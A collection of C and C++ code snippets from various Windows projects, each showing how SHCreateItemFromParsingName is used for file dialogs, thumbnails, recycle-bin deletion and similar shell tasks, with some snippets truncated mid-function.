static nfdresult_t SetDefaultPath( IFileDialog *dialog, const char *defaultPath ) { if ( !defaultPath || strlen(defaultPath) == 0 ) return NFD_OKAY; wchar_t *defaultPathW = {0}; CopyNFDCharToWChar( defaultPath, &defaultPathW ); IShellItem *folder; HRESULT result = SHCreateItemFromParsingName( defaultPathW, NULL, IID_PPV_ARGS(&folder) ); // Valid non results. if ( result == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND) || result == HRESULT_FROM_WIN32(ERROR_INVALID_DRIVE) ) { NFDi_Free( defaultPathW ); return NFD_OKAY; } if ( !SUCCEEDED(result) ) { NFDi_SetError("Error creating ShellItem"); NFDi_Free( defaultPathW ); return NFD_ERROR; } // Could also call SetDefaultFolder(), but this guarantees defaultPath -- more consistency across API. dialog->SetFolder( folder ); NFDi_Free( defaultPathW ); folder->Release(); return NFD_OKAY; }
HRESULT PreviewGenerator::ShowPreviewWithShellItemImageFactory(CString filePath) { HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); IShellItemImageFactory *imageFactory; hr = SHCreateItemFromParsingName(filePath, NULL, IID_PPV_ARGS(&imageFactory)); if (hr == S_OK) { CRect pRect; previewControl->GetWindowRect(pRect); int s = pRect.Height(); if (s>pRect.Width()) s = pRect.Width(); //s = 256; _SIIGBF flag = SIIGBF_RESIZETOFIT; if (fileExt != L"pdf" && fileExt != L"PDF") { s = 256; flag = SIIGBF_BIGGERSIZEOK; } SIZE size = { s, s }; HBITMAP btmap; hr = imageFactory->GetImage(size, flag, &btmap); if (hr == S_OK) DrawBitMap(btmap); } CoUninitialize(); imageFactory->Release(); return hr; }
//! Sets the node to the given filepath. //! \note This function uses `SHCreateItemFromParsingName()`, which is limited to `MAX_PATH` (260) chars. bool ShellNodeInfo::setNode(QString filepath) { wchar_t converted[MAX_PATH] = {'\0'}; // maybe some day /* auto converted = QVarLengthArray<wchar_t, MAX_PATH>(); if (filepath.length() > MAX_PATH) { if (!filepath.startsWith(detail::longPathPrefix)) filepath.prepend(detail::longPathPrefix); converted.reserve(filepath.length()); }*/ if (filepath.length() > MAX_PATH - 1) { qDebug() << "Can't add paths longer than 260 literals to the shell."; d.reset(); return false; } //Actually copy the string Q_ASSERT(filepath.toWCharArray(converted) > 0); auto item = ShellItem2Pointer(); SHCreateItemFromParsingName(converted, nullptr, IID_PPV_ARGS(item.addressOf())); if (!item) { qDebug() << "Failed to create NodeInfo from path: " << filepath; return false; } d = ShellNodeData::create(item); refresh(); return true; }
bool BrowseDlg::setPath(const tstring& aPath, bool forced) { if (aPath.empty()) return false; checkinit(); auto target = Text::toT(Util::validatePath(Text::fromT(aPath))); // Prefill the filename auto fileName = Util::getFileName(target); if (!fileName.empty()) { pfd->SetFileName(fileName.c_str()); } // Set the given directory CComPtr<IShellItem> psiFolder; if (SUCCEEDED(SHCreateItemFromParsingName(Util::getFilePath(target).c_str(), NULL, IID_PPV_ARGS(&psiFolder)))) { if (forced) { check(pfd->SetFolder(psiFolder)); } else { check(pfd->SetDefaultFolder(psiFolder)); } } return true; }
// Processes a single argument which identifies the library to operate on; passes any remaining arguments to the derived class. HRESULT v_ProcessArguments(PCWSTR *ppszArgs, int cArgs) { PCWSTR pszLibPath = CONSUME_NEXT_ARG(ppszArgs, cArgs); HRESULT hr = pszLibPath ? S_OK : E_INVALIDARG; if (SUCCEEDED(hr)) { if (_fCreate) { // When creating a new library, interpret the argument as the file system path to save the library to. WCHAR szAbsPath[MAX_PATH]; hr = SHStrDupW(_wfullpath(szAbsPath, pszLibPath, ARRAYSIZE(szAbsPath)), &_pszSavePath); } else { // Check for the 'FOLDERID_' prefix, which indicates that the argument should be interpreted as a KNOWNFOLDERID. const WCHAR szPrefix[] = L"FOLDERID_"; const UINT cchPrefix = ARRAYSIZE(szPrefix) - 1; if (StrCmpNCW(pszLibPath, szPrefix, cchPrefix) == 0) { IKnownFolderManager *pkfm; hr = CoCreateInstance(CLSID_KnownFolderManager, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&pkfm)); if (SUCCEEDED(hr)) { // KNOWNFOLDERIDs are GUIDs, but they have a corresponding canonical name which is a string. // By convention, the canonical name is the same as the name of the KNOWNFOLDERID #define. // That is, FOLDERID_DocumentsLibrary => "DocumentsLibrary". So, skip the prefix and pass // the remainder to GetFolderByName to retrieve the known folder. IKnownFolder *pkf; hr = pkfm->GetFolderByName(pszLibPath + cchPrefix, &pkf); if (SUCCEEDED(hr)) { hr = pkf->GetShellItem(KF_FLAG_INIT, IID_PPV_ARGS(&_psiLibrary)); pkf->Release(); } pkfm->Release(); } } else { // Default - interpret the argument as a file system path, and create a shell item for it. WCHAR szAbsPath[MAX_PATH]; hr = SHCreateItemFromParsingName(_wfullpath(szAbsPath, pszLibPath, ARRAYSIZE(szAbsPath)), NULL, IID_PPV_ARGS(&_psiLibrary)); } } } else { ParseError(L"Missing library path argument.\n"); } if (SUCCEEDED(hr)) { // Allow derived command to process any remaining arguments. hr = v_ProcessLibArguments(ppszArgs, cArgs); } return hr; }
HRESULT GetShellItemFromCommandLine(REFIID riid, void **ppv) { *ppv = NULL; HRESULT hr = E_FAIL; int cArgs; PWSTR *ppszCmd = CommandLineToArgvW(GetCommandLineW(), &cArgs); if (ppszCmd && cArgs > 1) { WCHAR szSpec[MAX_PATH]; szSpec[0] = 0; // skip all parameters that begin with "-" or "/" to try to find the // file name. this enables parameters to be present on the cmd line // and not get in the way of this function for (int i = 1; (szSpec[0] == 0) && (i < cArgs); i++) { if ((*ppszCmd[i] != L'-') && (*ppszCmd[i] != L'/')) { StringCchCopyW(szSpec, ARRAYSIZE(szSpec), ppszCmd[i]); PathUnquoteSpacesW(szSpec); } } hr = szSpec[0] ? S_OK : E_FAIL; // protect against empty if (SUCCEEDED(hr)) { hr = SHCreateItemFromParsingName(szSpec, NULL, riid, ppv); if (FAILED(hr)) { WCHAR szFolder[MAX_PATH]; GetCurrentDirectoryW(ARRAYSIZE(szFolder), szFolder); hr = PathAppendW(szFolder, szSpec) ? S_OK : E_FAIL; if (SUCCEEDED(hr)) { hr = SHCreateItemFromParsingName(szFolder, NULL, riid, ppv); } } } } return hr; }
BOOL ReadFromFile() { IFileOpenDialog *pDlg; COMDLG_FILTERSPEC FileTypes[] = { { L"PS2 MemoryCard files", L"*.ps2" }, { L"All files", L"*.*" } }; HRESULT hr = CoCreateInstance(CLSID_FileOpenDialog, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&pDlg)); WCHAR cPath[MAX_PATH] = L""; GetCurrentDirectoryW(sizeof(cPath) / sizeof(cPath[0]), cPath); IShellItem *psiFolder, *psiParent; SHCreateItemFromParsingName(cPath, NULL, IID_PPV_ARGS(&psiFolder)); psiFolder->GetParent(&psiParent); //初期フォルダの指定 pDlg->SetFolder(psiFolder); //フィルターの指定 pDlg->SetFileTypes(_countof(FileTypes), FileTypes); //ダイアログ表示 hr = pDlg->Show(NULL); //ファイル名 LPOLESTR pwsz = NULL; if (SUCCEEDED(hr)) { IShellItem *pItem; hr = pDlg->GetResult(&pItem); if (SUCCEEDED(hr)) { hr = pItem->GetDisplayName(SIGDN_FILESYSPATH, &pwsz); if (SUCCEEDED(hr)) { HANDLE hFile; hFile = CreateFile(pwsz, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hFile) { DWORD BytesRead; BOOL b = ReadFile(hFile, &(byteMemDat.Byte), sizeof(byteMemDat), &BytesRead, NULL); if (BytesRead) { CloseHandle(hFile); } } } } } UpdateDataList(&byteMemDat); return TRUE; }
static IShellItem * get_shell_item_for_uri (const char *uri) { IShellItem *item; HRESULT hr; gunichar2 *uri_w = g_utf8_to_utf16 (uri, -1, NULL, NULL, NULL); hr = SHCreateItemFromParsingName(uri_w, 0, &IID_IShellItem, (LPVOID *) &item); if (SUCCEEDED (hr)) return item; else g_warning_hr ("Can't create shell item from shortcut", hr); return NULL; }
bool MoveFileOrFolderToRecycleBin(const string_t& sFileOrFolderPath) { // Initialize COM cComScope com; // Create COM instance of IFileOperation IFileOperation* pfo = nullptr; HRESULT hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo)); if (SUCCEEDED(hr)) { ASSERT(pfo != nullptr); // Set parameters for current operation hr = pfo->SetOperationFlags( FOF_SILENT | // Don't display a progress dialog FOF_NOERRORUI // Don't display any error messages to the user ); if (SUCCEEDED(hr)) { // Create IShellItem instance associated to file to delete IShellItem* psiFileToDelete = nullptr; hr = SHCreateItemFromParsingName(sFileOrFolderPath.c_str(), NULL, IID_PPV_ARGS(&psiFileToDelete)); if (SUCCEEDED(hr)) { ASSERT(psiFileToDelete != nullptr); // Declare this shell item (file) to be deleted hr = pfo->DeleteItem(psiFileToDelete, NULL); } // Cleanup file-to-delete shell item COM_SAFE_RELEASE(psiFileToDelete); if (SUCCEEDED(hr)) { // Perform the deleting operation hr = pfo->PerformOperations(); } } } // Cleanup file operation object COM_SAFE_RELEASE(pfo); if (!SUCCEEDED(hr)) { std::wcerr<<"MoveFileOrFolderToRubbishBin Error moving \""<<sFileOrFolderPath<<"\" to the recycle bin"<<std::endl; return false; } return true; }
extern "C" void __declspec(dllexport) UninstallPinnedItem(HWND hwndParent, int string_size, TCHAR *variables, stack_t **stacktop) { g_stringsize = string_size; g_stacktop = stacktop; g_variables = variables; IShellItem *pItem = NULL; IStartMenuPinnedList *pPinnedList = NULL; WCHAR wszPath[MAX_PATH]; TCHAR szPath[MAX_PATH]; bool success = false; ZeroMemory(wszPath, sizeof(wszPath)); ZeroMemory(szPath, sizeof(szPath)); popstring(szPath, MAX_PATH); #if !defined(UNICODE) MultiByteToWideChar(CP_ACP, 0, szPath, -1, wszPath, MAX_PATH); #else wcscpy(wszPath, szPath); #endif CoInitialize(NULL); HRESULT hr; hr = SHCreateItemFromParsingName(wszPath, NULL, IID_PPV_ARGS(&pItem)); if (SUCCEEDED(hr)) { hr = CoCreateInstance(CLSID_StartMenuPin, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&pPinnedList)); if (SUCCEEDED(hr)) { hr = pPinnedList->RemoveFromList(pItem); pPinnedList->Release(); success = true; } pItem->Release(); } CoUninitialize(); pushstring(success == true ? TEXT("0") : TEXT("-1"), MAX_PATH); }
void setDefaultPath(IFileDialog* dialog, const Path& defaultPath) { WString pathStr = UTF8::toWide(defaultPath.toString()); const wchar_t* defaultPathW = pathStr.c_str(); IShellItem* folder; HRESULT result = SHCreateItemFromParsingName(defaultPathW, NULL, IID_PPV_ARGS(&folder)); // Valid non results. if (result == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND) || result == HRESULT_FROM_WIN32(ERROR_INVALID_DRIVE)) return; if (!SUCCEEDED(result)) return; dialog->SetFolder(folder); folder->Release(); }
// Interpret the next argument as a path, and obtain the IShellItem for it to be consumed by the derived class. HRESULT v_ProcessLibArguments(PCWSTR *ppszArgs, int cArgs) { PCWSTR pszFolderPath = CONSUME_NEXT_ARG(ppszArgs, cArgs); HRESULT hr = pszFolderPath ? S_OK : E_INVALIDARG; if (SUCCEEDED(hr)) { hr = SHStrDupW(pszFolderPath, &_pszFolderPath); if (SUCCEEDED(hr)) { hr = SHCreateItemFromParsingName(pszFolderPath, NULL, IID_PPV_ARGS(&_psiFolder)); } } else { ParseError(L"Missing folder path argument.\n"); } // On success, pass any remaining arguments on to the derived class. return SUCCEEDED(hr) ? v_ProcessFolderArguments(ppszArgs, cArgs) : hr; }
// Sets the outPath variable with path to the specified system folder // outPath must be an array of MAX_PATH size HRESULT Utils::GetSystemFolder(const KNOWNFOLDERID folderID, TCHAR* outPath) { CComPtr<IShellItem> psiFolder; LPWSTR wszPath = NULL; HRESULT hr = SHGetKnownFolderPath (folderID, KF_FLAG_CREATE, NULL, &wszPath); if (SUCCEEDED(hr)) { hr = SHCreateItemFromParsingName(wszPath, NULL, IID_PPV_ARGS(&psiFolder)); if (SUCCEEDED(hr)) { _tcscpy_s(outPath, MAX_PATH, wszPath); } CoTaskMemFree (wszPath); } pantheios::log_NOTICE(_T("Utils::GetSystemFolder> HRESULT="), pantheios::integer(hr)); return hr; }
bool MoveToTrash::exec() const { HRESULT result = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); if (!SUCCEEDED(result)) return false; IFileOperation *fo = nullptr; result = CoCreateInstance(CLSID_FileOperation, nullptr, CLSCTX_ALL, IID_PPV_ARGS(&fo)); if (!SUCCEEDED(result)) { CoUninitialize(); return false; } ulong flags = FOF_ALLOWUNDO | FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT; // if (QSysInfo::windowsVersion() >= QSysInfo::WV_WINDOWS8) // flags |= FOFX_RECYCLEONDELETE; result = fo->SetOperationFlags(flags); if (SUCCEEDED(result)) { IShellItem *iShellItem = nullptr; result = SHCreateItemFromParsingName(path.toStdWString().c_str(), nullptr, IID_PPV_ARGS(&iShellItem)); if (SUCCEEDED(result)) { result = fo->DeleteItem(iShellItem, nullptr); iShellItem->Release(); } if (SUCCEEDED(result)) result = fo->PerformOperations(); } fo->Release(); CoUninitialize(); return SUCCEEDED(result); }
jobject COMFileChooser_Show(HWND owner, LPCTSTR folder, LPCTSTR filename, LPCTSTR title, jint type, jboolean multipleMode, jobjectArray jFilters, jint defaultFilterIndex) { OLEHolder _ole_; IFileDialogPtr pDialog; OLE_TRY switch(type) { case com_sun_glass_ui_CommonDialogs_Type_OPEN: OLE_HRT( ::CoCreateInstance(CLSID_FileOpenDialog, NULL, CLSCTX_ALL, IID_IFileOpenDialog, (void**)&pDialog) ); if (multipleMode == TRUE) { DWORD dwOptions = 0; OLE_HRT( pDialog->GetOptions(&dwOptions) ); dwOptions |= FOS_ALLOWMULTISELECT; OLE_HRT( pDialog->SetOptions(dwOptions) ); } break; case com_sun_glass_ui_CommonDialogs_Type_SAVE: OLE_HRT( ::CoCreateInstance(CLSID_FileSaveDialog, NULL, CLSCTX_ALL, IID_IFileSaveDialog, (void**)&pDialog) ); break; } if (folder) { IShellItemPtr pItem; OLE_HRT( SHCreateItemFromParsingName((PCWSTR)folder, NULL, IID_IShellItem, (void **)&pItem) ); if (pItem) { OLE_HRT( pDialog->SetFolder( pItem ) ); } } if (type == com_sun_glass_ui_CommonDialogs_Type_SAVE && filename && *filename) { OLE_HRT( pDialog->SetFileName(filename); );
HRESULT PreviewGenerator::ShowPreviewWithThumbnailProvider(CString filePath, CLSID clsID) { HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); int nSize = 256; HBITMAP g_hThumbnail; IShellItem *psi; hr = SHCreateItemFromParsingName(filePath, NULL, IID_PPV_ARGS(&psi)); if (hr == S_OK) { IThumbnailProvider *pThumbProvider; hr = psi->BindToHandler(NULL, clsID, IID_PPV_ARGS(&pThumbProvider)); if (hr == S_OK) { WTS_ALPHATYPE wtsAlpha; hr = pThumbProvider->GetThumbnail(nSize, &g_hThumbnail, &wtsAlpha); } else { } } return hr; }
HRESULT WINAPI SHGetItemFromDataObject(IDataObject *pdtobj, DATAOBJ_GET_ITEM_FLAGS dwFlags, REFIID riid, void **ppv) { FORMATETC fmt; STGMEDIUM medium; HRESULT ret; TRACE("%p, %x, %s, %p\n", pdtobj, dwFlags, debugstr_guid(riid), ppv); if(!pdtobj) return E_INVALIDARG; fmt.cfFormat = RegisterClipboardFormatW(CFSTR_SHELLIDLISTW); fmt.ptd = NULL; fmt.dwAspect = DVASPECT_CONTENT; fmt.lindex = -1; fmt.tymed = TYMED_HGLOBAL; ret = IDataObject_GetData(pdtobj, &fmt, &medium); if(SUCCEEDED(ret)) { LPIDA pida = GlobalLock(medium.u.hGlobal); if((pida->cidl > 1 && !(dwFlags & DOGIF_ONLY_IF_ONE)) || pida->cidl == 1) { LPITEMIDLIST pidl; /* Get the first pidl (parent + child1) */ pidl = ILCombine((LPCITEMIDLIST) ((LPBYTE)pida+pida->aoffset[0]), (LPCITEMIDLIST) ((LPBYTE)pida+pida->aoffset[1])); ret = SHCreateItemFromIDList(pidl, riid, ppv); ILFree(pidl); } else { ret = E_FAIL; } GlobalUnlock(medium.u.hGlobal); GlobalFree(medium.u.hGlobal); } if(FAILED(ret) && !(dwFlags & DOGIF_NO_HDROP)) { TRACE("Attempting to fall back on CF_HDROP.\n"); fmt.cfFormat = CF_HDROP; fmt.ptd = NULL; fmt.dwAspect = DVASPECT_CONTENT; fmt.lindex = -1; fmt.tymed = TYMED_HGLOBAL; ret = IDataObject_GetData(pdtobj, &fmt, &medium); if(SUCCEEDED(ret)) { DROPFILES *df = GlobalLock(medium.u.hGlobal); LPBYTE files = (LPBYTE)df + df->pFiles; BOOL multiple_files = FALSE; ret = E_FAIL; if(!df->fWide) { WCHAR filename[MAX_PATH]; PCSTR first_file = (PCSTR)files; if(*(files + lstrlenA(first_file) + 1) != 0) multiple_files = TRUE; if( !(multiple_files && (dwFlags & DOGIF_ONLY_IF_ONE)) ) { MultiByteToWideChar(CP_ACP, 0, first_file, -1, filename, MAX_PATH); ret = SHCreateItemFromParsingName(filename, NULL, riid, ppv); } } else { PCWSTR first_file = (PCWSTR)files; if(*((PCWSTR)files + lstrlenW(first_file) + 1) != 0) multiple_files = TRUE; if( !(multiple_files && (dwFlags & DOGIF_ONLY_IF_ONE)) ) ret = SHCreateItemFromParsingName(first_file, NULL, riid, ppv); } GlobalUnlock(medium.u.hGlobal); GlobalFree(medium.u.hGlobal); } } if(FAILED(ret) && !(dwFlags & DOGIF_NO_URL)) { FIXME("Failed to create item, should try CF_URL.\n"); } return ret; }
/* * Return the UTF8 path of a file selected through a load or save dialog * All string parameters are UTF-8 * IMPORTANT NOTE: Remember that you need to call CoInitializeEx() for * *EACH* thread you invoke FileDialog from, as GetDisplayName() will * return error 0x8001010E otherwise. */ char* FileDialog(BOOL save, char* path, const ext_t* ext, DWORD options) { DWORD tmp; OPENFILENAMEA ofn; char selected_name[MAX_PATH]; char *ext_string = NULL, *all_files = NULL; size_t i, j, ext_strlen; BOOL r; char* filepath = NULL; HRESULT hr = FALSE; IFileDialog *pfd = NULL; IShellItem *psiResult; COMDLG_FILTERSPEC* filter_spec = NULL; wchar_t *wpath = NULL, *wfilename = NULL; IShellItem *si_path = NULL; // Automatically freed if ((ext == NULL) || (ext->count == 0) || (ext->extension == NULL) || (ext->description == NULL)) return NULL; dialog_showing++; filter_spec = (COMDLG_FILTERSPEC*)calloc(ext->count + 1, sizeof(COMDLG_FILTERSPEC)); if (filter_spec != NULL) { // Setup the file extension filter table for (i = 0; i < ext->count; i++) { filter_spec[i].pszSpec = utf8_to_wchar(ext->extension[i]); filter_spec[i].pszName = utf8_to_wchar(ext->description[i]); } filter_spec[i].pszSpec = L"*.*"; filter_spec[i].pszName = L"All files"; hr = CoCreateInstance(save ? &CLSID_FileSaveDialog : &CLSID_FileOpenDialog, NULL, CLSCTX_INPROC, &IID_IFileDialog, (LPVOID)&pfd); if (FAILED(hr)) { SetLastError(hr); dprintf("CoCreateInstance for FileOpenDialog failed: %s\n", WindowsErrorString()); pfd = NULL; // Just in case goto fallback; } // Set the file extension filters pfd->lpVtbl->SetFileTypes(pfd, (UINT)ext->count + 1, filter_spec); // Set the default directory wpath = utf8_to_wchar(path); hr = SHCreateItemFromParsingName(wpath, NULL, &IID_IShellItem, (LPVOID)&si_path); if (SUCCEEDED(hr)) { pfd->lpVtbl->SetFolder(pfd, si_path); } safe_free(wpath); // Set the default filename wfilename = utf8_to_wchar((ext->filename == NULL) ? "" : ext->filename); if (wfilename != NULL) { pfd->lpVtbl->SetFileName(pfd, wfilename); } // Display the dialog hr = pfd->lpVtbl->Show(pfd, hMainDialog); // Cleanup safe_free(wfilename); for (i = 0; i < ext->count; i++) { safe_free(filter_spec[i].pszSpec); safe_free(filter_spec[i].pszName); } safe_free(filter_spec); if (SUCCEEDED(hr)) { // Obtain the result of the user's interaction with the dialog. hr = pfd->lpVtbl->GetResult(pfd, &psiResult); if (SUCCEEDED(hr)) { hr = psiResult->lpVtbl->GetDisplayName(psiResult, SIGDN_FILESYSPATH, &wpath); if (SUCCEEDED(hr)) { filepath = wchar_to_utf8(wpath); CoTaskMemFree(wpath); } else { SetLastError(hr); dprintf("Unable to access file path: %s\n", WindowsErrorString()); } psiResult->lpVtbl->Release(psiResult); } } else if ((hr & 0xFFFF) != ERROR_CANCELLED) { // If it's not a user cancel, assume the dialog didn't show and fallback SetLastError(hr); dprintf("Could not show FileOpenDialog: %s\n", WindowsErrorString()); goto fallback; } pfd->lpVtbl->Release(pfd); dialog_showing--; return filepath; } fallback: safe_free(filter_spec); if (pfd != NULL) { pfd->lpVtbl->Release(pfd); } memset(&ofn, 0, sizeof(ofn)); ofn.lStructSize = sizeof(ofn); ofn.hwndOwner = hMainDialog; // Selected File name static_sprintf(selected_name, "%s", (ext->filename == NULL) ? "" : ext->filename); ofn.lpstrFile = selected_name; ofn.nMaxFile = MAX_PATH; // Set the file extension filters all_files = "All files"; ext_strlen = 0; for (i = 0; i<ext->count; i++) { ext_strlen += safe_strlen(ext->description[i]) + 2 * safe_strlen(ext->extension[i]) + sizeof(" ()\r\r"); } ext_strlen += safe_strlen(all_files) + sizeof(" (*.*)\r*.*\r"); ext_string = (char*)malloc(ext_strlen + 1); if (ext_string == NULL) return NULL; ext_string[0] = 0; for (i = 0, j = 0; i<ext->count; i++) { j += _snprintf(&ext_string[j], ext_strlen - j, "%s (%s)\r%s\r", ext->description[i], ext->extension[i], ext->extension[i]); } j = _snprintf(&ext_string[j], ext_strlen - j, "%s (*.*)\r*.*\r", all_files); // Microsoft could really have picked a better delimiter! for (i = 0; i<ext_strlen; i++) { // Since the VS Code Analysis tool is dumb... #if defined(_MSC_VER) #pragma warning(suppress: 6385) #endif if (ext_string[i] == '\r') { #if defined(_MSC_VER) #pragma warning(suppress: 6386) #endif ext_string[i] = 0; } } ofn.lpstrFilter = ext_string; ofn.nFilterIndex = 1; ofn.lpstrInitialDir = path; ofn.Flags = OFN_OVERWRITEPROMPT | options; // Show Dialog if (save) { r = GetSaveFileNameU(&ofn); } else { r = GetOpenFileNameU(&ofn); } if (r) { filepath = safe_strdup(selected_name); } else { tmp = CommDlgExtendedError(); if (tmp != 0) { dprintf("Could not select file for %s. Error %X\n", save ? "save" : "open", tmp); } } safe_free(ext_string); dialog_showing--; return filepath; }
/* * Browse for a folder and update the folder edit box */ void BrowseForFolder(void) { BROWSEINFOW bi; LPITEMIDLIST pidl; WCHAR *wpath; size_t i; HRESULT hr; IShellItem *psi = NULL; IShellItem *si_path = NULL; // Automatically freed IFileOpenDialog *pfod = NULL; WCHAR *fname; char* tmp_path = NULL; dialog_showing++; hr = CoCreateInstance(&CLSID_FileOpenDialog, NULL, CLSCTX_INPROC, &IID_IFileOpenDialog, (LPVOID)&pfod); if (FAILED(hr)) { dprintf("CoCreateInstance for FileOpenDialog failed: error %X", hr); pfod = NULL; // Just in case goto fallback; } hr = pfod->lpVtbl->SetOptions(pfod, FOS_PICKFOLDERS); if (FAILED(hr)) { dprintf("Failed to set folder option for FileOpenDialog: error %X", hr); goto fallback; } // Set the initial folder (if the path is invalid, will simply use last) wpath = utf8_to_wchar(szFolderPath); // The new IFileOpenDialog makes us split the path fname = NULL; if ((wpath != NULL) && (wcslen(wpath) >= 1)) { for (i = wcslen(wpath) - 1; i != 0; i--) { if (wpath[i] == L'\\') { wpath[i] = 0; fname = &wpath[i + 1]; break; } } } hr = SHCreateItemFromParsingName(wpath, NULL, &IID_IShellItem, (LPVOID)&si_path); if (SUCCEEDED(hr)) { if (wpath != NULL) { pfod->lpVtbl->SetFolder(pfod, si_path); } if (fname != NULL) { pfod->lpVtbl->SetFileName(pfod, fname); } } safe_free(wpath); hr = pfod->lpVtbl->Show(pfod, hMainDialog); if (SUCCEEDED(hr)) { hr = pfod->lpVtbl->GetResult(pfod, &psi); if (SUCCEEDED(hr)) { psi->lpVtbl->GetDisplayName(psi, SIGDN_FILESYSPATH, &wpath); tmp_path = wchar_to_utf8(wpath); CoTaskMemFree(wpath); if (tmp_path == NULL) { dprintf("Could not convert path"); } else { static_strcpy(szFolderPath, tmp_path); safe_free(tmp_path); } } else { dprintf("Failed to set folder option for FileOpenDialog: error %X", hr); } } else if ((hr & 0xFFFF) != ERROR_CANCELLED) { // If it's not a user cancel, assume the dialog didn't show and fallback dprintf("Could not show FileOpenDialog: error %X", hr); goto fallback; } pfod->lpVtbl->Release(pfod); dialog_showing--; return; fallback: if (pfod != NULL) { pfod->lpVtbl->Release(pfod); } memset(&bi, 0, sizeof(BROWSEINFOW)); bi.hwndOwner = hMainDialog; bi.lpszTitle = L"Please select folder"; bi.lpfn = BrowseInfoCallback; // BIF_NONEWFOLDERBUTTON = 0x00000200 is unknown on MinGW bi.ulFlags = BIF_RETURNFSANCESTORS | BIF_RETURNONLYFSDIRS | BIF_DONTGOBELOWDOMAIN | BIF_EDITBOX | 0x00000200; pidl = SHBrowseForFolderW(&bi); if (pidl != NULL) { CoTaskMemFree(pidl); } dialog_showing--; }
void KPR_system_openDirectory(xsMachine* the) { HRESULT hr; xsIntegerValue argc = xsToInteger(xsArgc); IFileOpenDialog *pFileOpen = NULL; IShellItem *pItem = NULL; xsStringValue string; PWSTR wideString = NULL; xsIntegerValue urlLength; xsStringValue url = NULL; hr = CoCreateInstance(CLSID_FileOpenDialog, NULL, CLSCTX_ALL, IID_IFileOpenDialog, (LPVOID *)&pFileOpen); if (!SUCCEEDED(hr)) goto bail; if ((argc > 0) && xsTest(xsArg(0))) { if (xsFindString(xsArg(0), xsID_prompt, &string)) { wideString = xsStringToWideString(string); hr = pFileOpen->SetTitle(wideString); if (!SUCCEEDED(hr)) goto bail; CoTaskMemFree(wideString); wideString = NULL; } if (xsFindString(xsArg(0), xsID_message, &string)) { wideString = xsStringToWideString(string); hr = pFileOpen->SetTitle(wideString); if (!SUCCEEDED(hr)) goto bail; CoTaskMemFree(wideString); wideString = NULL; } if (xsFindString(xsArg(0), xsID_url, &string)) { wideString = xsStringToWideString(string); hr = SHCreateItemFromParsingName(wideString, NULL, IID_IShellItem, (LPVOID *)&pItem); if (!SUCCEEDED(hr)) goto bail; CoTaskMemFree(wideString); wideString = NULL; hr = pFileOpen->SetFolder(pItem); if (!SUCCEEDED(hr)) goto bail; pItem->Release(); pItem = NULL; } } hr = pFileOpen->SetOptions(FOS_PICKFOLDERS); if (!SUCCEEDED(hr)) goto bail; hr = pFileOpen->Show(GetForegroundWindow()); if (!SUCCEEDED(hr)) goto bail; hr = pFileOpen->GetResult(&pItem); if (!SUCCEEDED(hr)) goto bail; hr = pItem->GetDisplayName(SIGDN_URL, &wideString); if (!SUCCEEDED(hr)) goto bail; urlLength = WideCharToMultiByte(CP_UTF8, 0, wideString, -1, NULL, 0, NULL, NULL); FskMemPtrNew(urlLength + 1, &url); WideCharToMultiByte(CP_UTF8, 0, wideString, -1, url, urlLength, NULL, NULL); url[urlLength - 1] = '/'; url[urlLength] = 0; (void)xsCallFunction1(xsArg(1), xsNull, xsString(url)); bail: FskMemPtrDispose(url); if (wideString) CoTaskMemFree(wideString); if (pItem) pItem->Release(); if (pFileOpen) pFileOpen->Release(); }
CBrowseFolder::retVal CBrowseFolder::Show(HWND parent, CString& path, const CString& sDefaultPath /* = CString() */) { m_sDefaultPath = sDefaultPath; if (m_sDefaultPath.IsEmpty() && !path.IsEmpty()) { while (!PathFileExists(path) && !path.IsEmpty()) { CString p = path.Left(path.ReverseFind(L'\\')); if ((p.GetLength() == 2) && (p[1] == L':')) { p += L"\\"; if (p.Compare(path) == 0) p.Empty(); } if (p.GetLength() < 2) p.Empty(); path = p; } // if the result path already contains a path, use that as the default path m_sDefaultPath = path; } // Create a new common open file dialog CComPtr<IFileOpenDialog> pfd; if (FAILED(pfd.CoCreateInstance(CLSID_FileOpenDialog, nullptr, CLSCTX_INPROC_SERVER))) return CANCEL; // Set the dialog as a folder picker DWORD dwOptions; if (FAILED(pfd->GetOptions(&dwOptions))) return CANCEL; if (FAILED(pfd->SetOptions(dwOptions | FOS_PICKFOLDERS | FOS_FORCEFILESYSTEM | FOS_PATHMUSTEXIST))) return CANCEL; // Set a title TCHAR* nl = _tcschr(m_title, '\n'); if (nl) *nl = 0; pfd->SetTitle(m_title); // set the default folder CComPtr<IShellItem> psiDefault; if (FAILED(SHCreateItemFromParsingName(m_sDefaultPath, nullptr, IID_PPV_ARGS(&psiDefault)))) return CANCEL; if (FAILED(pfd->SetFolder(psiDefault))) return CANCEL; CComObjectStackEx<BrowseFolderDlgEventHandler> cbk; cbk.m_DisableCheckbox2WhenCheckbox1IsChecked = m_DisableCheckbox2WhenCheckbox1IsChecked; CComQIPtr<IFileDialogEvents> pEvents = cbk.GetUnknown(); if (!m_CheckText.IsEmpty()) { CComPtr<IFileDialogCustomize> pfdCustomize; if (FAILED(pfd.QueryInterface(&pfdCustomize))) return CANCEL; pfdCustomize->StartVisualGroup(100, L""); pfdCustomize->AddCheckButton(101, m_CheckText, FALSE); if (!m_CheckText2.IsEmpty()) pfdCustomize->AddCheckButton(102, m_CheckText2, FALSE); pfdCustomize->EndVisualGroup(); } DWORD eventsCookie; if (FAILED(pfd->Advise(pEvents, &eventsCookie))) return CANCEL; SCOPE_EXIT { pfd->Unadvise(eventsCookie); }; // Show the open file dialog if (FAILED(pfd->Show(parent))) return CANCEL; // Get the selection from the user CComPtr<IShellItem> psiResult; if (FAILED(pfd->GetResult(&psiResult))) return CANCEL; PWSTR pszPath = nullptr; if (SUCCEEDED(psiResult->GetDisplayName(SIGDN_FILESYSPATH, &pszPath))) { path = pszPath; 